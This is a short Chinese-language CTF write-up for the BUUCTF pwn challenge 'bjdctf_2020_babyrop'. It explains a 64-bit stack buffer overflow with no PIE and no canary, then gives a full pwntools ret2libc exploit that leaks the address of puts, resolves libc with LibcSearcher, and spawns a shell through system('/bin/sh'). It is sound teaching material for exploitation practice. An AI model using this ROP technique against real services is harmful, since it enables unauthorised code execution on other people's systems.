buuctf pwn bjdctf_2020_babyrop
1.checksec
- 运行一下
2.IDA分析
- 这里调用了vuln函数
- 我们接着看一下vuln函数
- buf只有32,但是我们可以写64
- 很明显的溢出
- 本程序没开PIE
- 没开canary
- 再看一下有没有后门函数
- 没有"/bin/sh"
- 没有system()函数
- 那么就要通过泄露函数地址来计算libc的基地址了
- 64位程序在传参的时候需要用到寄存器
- 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
- 当参数为7个以上时,后面的依次从 “右向左” 放入栈中。
- 设置rdi寄存器的指令
ropper
3.exp
from pwn import *
from LibcSearcher import *
r = remote('node3.buuoj.cn',28514)
elf = ELF('./bjdctf_2020_babyrop')
context.log_level = 'debug'
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400733
payload = b'a' * (0x20+8) + p64(pop_rdi) + p64(puts_got) +p64(puts_plt) + p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
offset = puts_addr-libc.dump('puts')
system = offset+libc.dump('system')
bin_sh = offset+libc.dump('str_bin_sh')
payload=b'a' * (0x20+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.interactive()